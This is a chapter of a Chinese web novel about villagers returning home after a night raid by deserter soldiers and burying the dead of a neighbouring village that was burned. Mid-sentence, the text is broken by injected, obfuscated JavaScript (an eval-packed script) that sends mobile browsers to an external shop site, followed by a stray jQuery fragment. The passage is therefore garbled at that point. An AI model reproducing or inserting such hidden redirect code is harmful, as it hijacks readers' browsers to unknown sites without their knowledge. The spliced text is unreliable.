山路上晨雾未散,两个身影一前一后,踏着露水而来。
走在前头的是陆三郎,虎背熊腰,柴刀还别在腰间,虽然刀上有些血迹,瞧着是没受伤。
"当家的!"
“爹!”
大蛋领着兄弟仨撒丫子就蹿了出去陆三嫂抱起小石头迎上去,走得急了,脚下一个踉跄,差点儿摔倒,顾不上许多扑过去,上上下下把娃他爹个遍,没少胳膊少腿好好一囫囵个,眼泪哗地就下来了。
"别哭了,这不都过去了。”陆三郎拍了拍媳妇儿后背,转头挨个摸摸四个崽子,昨夜确实是惊险,如果不是宋货郎误打误撞走夜路路过上河村,桑榆村也要遭殃了。
陆家一家子团聚,萧承渊安安静静站在一旁,不知道是不是刚杀完人的缘故,心情十分愉悦,青衣衬得眉眼清润。
沈竹念拎着裙角奔过来,抓住他戳戳胳膊,撩开衣袖确定没出什么事,大大松了口气,“还好。”
萧承渊低头看她,晨光从树林照过来,一双眼睛终于恢复了往常的墨黑色,干干净净的,带着点说不清道不明的笑意。
“阿念担心我?”
沈竹念实诚点头,“自然担心了。”
这个家就三个人,她跟秋露是两个战五渣,就他一个战斗力能打的要是再受伤,那可真是废物三人组了。
萧承渊可不知道沈竹念心里的想法,他得到了满意答案,唇角极轻微地勾了勾。
这人目光缱绻,连陆三嫂一家也露出姨母笑,沈竹念不自觉揉了揉发痒的耳朵,这才反应过来,刚才的话着实有些出格,她清了清嗓子,掩饰道,“那些骑兵听着凶悍吓人,不光我担心,秋露也担心到一宿没睡着觉呢。”
秋露皱起眉毛,奇怪看了自家姑娘一眼,
明明昨天晚上担心到睡不着觉的是姑娘,她怕黑不假,可是挨着姑娘一闭眼就睡了。
不信看看姑娘两眼的黑眼圈!
萧承渊笑意更深,沈竹念实在受不了他这黏糊糊目光,干进催促大家伙儿下山。
“对,咱们赶紧回去看看家里,不知道那些天杀的王八羔子把村里祸害成什么样了,唉,昨晚跑得匆忙,家里的蚕没顾上。”
陆三嫂昨晚做了一夜的噩梦,梦见桑榆村血流成河,大蛋兄弟四个叫散兵抓走吃了,现在想起来还觉得胸口钝痛,手脚发麻。
两个当家女主人都发了话,大家立刻行动起来,陆三郎跳下地窖,一手举着两个装满家什的竹筐,没觉得多累,小菜一碟。
萧承渊也是轻轻松松挑起箩筐,回头看了眼,“骡子在哪儿?”
沈竹念在地窖里卷褥子,秋露一拍脑袋,“在碳棚,我去牵。”
秋露牵了骡子来,骡子昨夜豆饼够吃,没怎么闹脾气。
相对比昨夜逃命时的顾腚不顾头,这会儿下山就惬意从容多了。
桑榆村村民陆续上山寻家人,下山路上时常能遇见熟人。
大蛋啃着个窝头在前头开道,一伙人牵骡的牵骡,挑扁担的挑扁担,背筐的背筐,各有各的忙,下山走了将近一个时辰,拐过山林,总算瞧见白墙黛瓦的屋舍掩映在桑树林里的村落。
村口传来嘈杂怒骂声,几个汉子正把昨晚捆住的几个散兵拖到空地上,这群畜牲犯了众怒,手脚都断了,嘴也堵着,像待宰的猪一样扔在地上。
其中一个好像没了舌头,瞧见一群乌泱泱的人,萧承渊漫不经心看了眼,他恐惧扭动着身体呜呜叫。
旁边看管的李大根呵斥,“干啥呢,老实点!等县衙大老爷来了给你们问罪!”
其实桑榆村村民个个咬牙切齿,想拿着锄头把这群杂碎砍死解恨。
可里正娘子过来劝说,这么死太便宜他们了,不如交给朝廷治罪,或许能有些奖赏。
何里正天不亮便启程去了县衙,县衙很快会派官差来缉拿这群兵匪。
鸡鸣狗吠的村子渐渐热闹起来,昨夜的一切像一场荒唐可怖的噩梦,终于在天光大亮烟消云散。
桑峪村遭了这一遭,虽然没有造成实质性的损害,但是有几个逃兵钻空子进了村。
七八户人家被翻得底朝天,鸡笼空了,米缸见了底,有三家的茅草顶被点了火,所幸昨夜落雨,加上村里有人没烧起来。
秀才家小院院墙结实,没叫人闯进来,后院外头有槐树开了花,要是在北方只有春日才有槐花香。
北方的槐花是白槐花,院后的槐花是黄槐花。
沈竹念跟秋露在地窖里睡了一夜,身上埋汰到不能看。
秋露去烧水,沈竹念走了一路山路小腿肚子酸得很,坐在小板凳揉一揉。
萧承渊一掀衣摆,也拖了张板凳陪伴在一旁坐下。
一米八几的大高个,大马金刀坐在一个小凳子上,怎么看怎么怪异。
沈竹念侧目看了他眼,身心俱疲实在懒得很,不想讲话。
萧承渊坐在板凳上长剑横在膝上,闭着眼,他的睫毛很长,垂下来的时候指节轻轻叩了两下剑鞘。
两人就这么施施然坐着,谁也不说话。
"姑娘,水烧好了,来洗把脸。"秋露在灶房喊。
沈竹念应了一声,转身往回走。
外面天色大亮,上河村方向烟雾缭绕,整个村子天空都被烟火笼罩,显得灰蒙蒙的。
村里汉子们回家只简单打了个盹就又醒过来,要去上河村去一趟,一则上河村跟桑榆村比邻,村里有好几家跟上河村村民是姻亲关系。
亲人遇难不能相救已是大不孝,有些同宗同源的,总不能连尸身也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704787|206050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不收敛。
二则上河村火灾屠村,加之草木茂盛,村里也有大连的桑林跟山林靠拢,万一余火未灭,死灰复燃,烈火焚山,稍有不察就是一场大灾难。
绝对不能让这种事发生。
要埋葬逝者,桑榆村家家户户几个铜板凑了些钱全当丧葬费。
草草吃过朝食,村里的汉子们拿着家什去了上河村,上河村距离桑榆村二十几里山路,往日烟火气满满的村子,没有炊烟犬吠,只有死一般的寂静。
上河村绝大多数房屋都已倒塌,焦黑的木梁和土坯墙焦木杂乱地堆积着,空气中弥漫着一股淡淡的,令人作呕的焦糊味。
几乎每家房屋里都有几具焦尸,也不是全村都没了命,兵匪进村时,有几家躲到了村里的枯井中,等到天亮才爬上来。
看到全村惨状,瘫倒在地哭声嘶哑。
一个老汉蹲在烧焦的老妻身旁,泪珠滚落,老妻手里攥着块漆黑的饼子,老汉把饼子放在捡起块石头,一下一下地砸,砸下来的碎屑只有指甲盖大小,颤巍巍捡起来塞进嘴里,嚼了半天才或者血泪咽下去。
几个男人抬着个用门板做的担架,上面躺着个老者,面色灰白,已经看不出是死是活。
昨晚被拖在马后的年轻妇人叫翠娘,是上河村富户家的闺女,家中有良田马驹,因是独女招赘生了儿子小宝。
一家五口本幸福美满,昨夜那场大火,烧毁了一切,也让她脏了身子。
翠娘昨夜获救后,昏迷中的手忽然动了动,指尖摸索着碰到孩子的胳膊,哪怕人还在昏迷,手指却牢牢攥住了不松开。
等她醒了一言未发,只抱着昏迷不醒的小宝,小宝头软塌塌地靠在母亲肩上,嘴唇发白,眼睛紧紧闭着。
翠娘一下下拍着孩子的背,眼中没有眼泪流下来——大约是哭得太多,再也哭不出来了。
小宝身上全是擦伤,脸肿得老高,但呼吸还算平稳,裸露的脚腕上一道道紫黑的勒痕触目惊心,郎中过来看了,不幸中的万幸,小宝都只是皮外伤,没有伤及内脏。
只不过翠娘日后不能再生育了。
上河村幸存下来的村民被县衙妥善安置。
他们此生大概也不想再回故土,平添伤悲。
往后几天,村里孩童不似往日活泼,小石头小嘴巴抿的紧紧的,不是黏着沈竹念,就是跟在自家爹娘身后当小尾巴。
大蛋二蛋日日看陆三郎把家中的菜刀磨的蹭亮,三蛋吵着要一把小木剑,沈竹念不解,问他做什么,三蛋嗷嗷喊,“打坏人。”
这次桑榆村擒获兵匪有功,免了一年的粮税。
大家伙儿高兴没几天,皇帝老儿又闹了幺蛾子,凡大邺子民,男十九,女十八未婚嫁者,缴二十两罚金且全家去搬砖服苦役。